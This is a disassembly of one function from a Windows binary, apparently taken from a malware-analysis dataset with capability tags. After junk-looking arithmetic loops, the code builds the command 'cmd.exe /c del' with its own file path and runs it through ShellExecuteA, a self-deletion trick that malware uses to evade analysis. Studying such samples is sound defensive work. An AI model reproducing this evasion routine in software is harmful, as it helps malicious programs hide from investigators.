Function at 0x140001880
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov r11, rsp
push rsi
sub rsp, 0x430
mov rax, qword [0x140028040]
xor rax, rsp
mov qword [rsp + 0x3f0], rax
mov qword [r11 + 8], rbx
xor esi, esi
mov qword [r11 + 0x10], rdi
movaps xmmword [r11 - 0x38], xmm8
xorps xmm8, xmm8
movsd qword [rsp + 0x38], xmm8
mov dword [rsp + 0x30], esi
mov eax, dword [rsp + 0x30]
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movsd xmm7, qword [0x140024680]
movd xmm0, dword [rsp + 0x30]
cvtdq2pd xmm0, xmm0
call fcn.140018780
movaps xmm6, xmm0
movd xmm0, dword [rsp + 0x30]
cvtdq2pd xmm0, xmm0
call fcn.140018200
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm6
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
movsd xmm0, qword [rsp + 0x38]
comisd xmm8, xmm0
jbe 0x140001922
movsd xmm0, qword [rsp + 0x38]
andps xmm0, xmm7
movsd qword [rsp + 0x38], xmm0
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x64
jl 0x1400018d1
movaps xmm7, xmmword [rsp + 0x410]
mov ecx, 0x190
movaps xmm6, xmmword [rsp + 0x420]
call qword [sym.imp.mfc140.dll_Ordinal_1485]
xor edx, edx
mov r8d, 0x190
mov rcx, rax
mov rbx, rax
lea rdi, [rax + 0x190]
call fcn.140019a90
movaps xmm8, xmmword [rsp + 0x400]
mov eax, esi
cmp rbx, rdi
je 0x14000198f
mov rdx, rbx
nop dword [rax]
mov ecx, eax
inc eax
mov dword [rdx], ecx
add rdx, 4
cmp rdx, rdi
jne 0x140001980
mov r8, rsi
mov rcx, rbx
mov rdx, rbx
cmp rbx, rdi
ja 0x140001a1b
cmp dword [0x140028090], 2
jl 0x140001a1b
cmp rbx, rdi
mov rcx, 0xfffffffffffffffc
mov eax, 0x18c
cmova rax, rcx
mov rcx, rbx
add rax, rbx
cmp rbx, rax
jbe 0x140001a1b
cmp rbx, rdi
mov eax, 0x60
cmova rax, rsi
movdqu xmm0, xmmword [rcx]
add r8, 0x10
pmulld xmm0, xmm0
movdqu xmmword [rdx], xmm0
movdqu xmm0, xmmword [rcx + 0x10]
pmulld xmm0, xmm0
movdqu xmmword [rdx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + 0x20]
pmulld xmm0, xmm0
movdqu xmmword [rdx + 0x20], xmm0
movdqu xmm0, xmmword [rcx + 0x30]
add rcx, 0x40
pmulld xmm0, xmm0
movdqu xmmword [rdx + 0x30], xmm0
add rdx, 0x40
cmp r8, rax
jne 0x1400019d0
cmp rcx, rdi
je 0x140001a41
sub rdx, rcx
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rcx]
imul eax, eax
mov dword [rcx + rdx], eax
add rcx, 4
cmp rcx, rdi
jne 0x140001a30
mov rdi, qword [rsp + 0x448]
test rbx, rbx
je 0x140001a5b
mov edx, 0x190
mov rcx, rbx
call fcn.140001e80
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x190
call fcn.140019a90
mov rbx, qword [rsp + 0x440]
mov dword [rsp + 0x30], esi
mov eax, dword [rsp + 0x30]
nop dword [rax]
mov dword [rsp + 0x38], esi
mov eax, dword [rsp + 0x38]
nop dword [rax + rax]
mov ecx, dword [rsp + 0x38]
mov eax, dword [rsp + 0x30]
add ecx, eax
mov edx, dword [rsp + 0x30]
movsxd rax, dword [rsp + 0x38]
xor edx, ecx
mov dword [rsp + rax*4 + 0x40], edx
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cmp eax, 0x64
jl 0x140001a90
movsxd rax, dword [rsp + 0x30]
mov eax, dword [rsp + rax*4 + 0x40]
test al, 1
jne 0x140001add
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + rax*4 + 0x40]
movsxd rax, dword [rsp + 0x30]
neg edx
mov dword [rsp + rax*4 + 0x40], edx
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x64
jl 0x140001a80
call fcn.140001540
test eax, eax
jne 0x140001b02
lea ecx, [rax + 1]
call fcn.140008858
int3
lea rdx, section..didast
lea rcx, [0x140024660]
call fcn.140001030
lea rdx, [0x140025b30]
lea rcx, [0x140024660]
call fcn.140001030
call fcn.140001270
xor edx, edx
lea rcx, [rsp + 0x2e0]
mov r8d, 0x104
call fcn.140019a90
movabs rax, 0x206c656420632f
lea rcx, [rsp + 0x1d8]
xor edx, edx
mov qword [rsp + 0x1d0], rax
mov r8d, 0xfc
call fcn.140019a90
mov r8d, 0x104
lea rdx, [rsp + 0x2e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x1d0]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x140001b90
lea r8, [rsp + 0x2e0]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001bb0
mov dword [rsp + 0x28], esi
lea r9, [rsp + 0x1d0]
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rsi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 1
call fcn.140008858
int3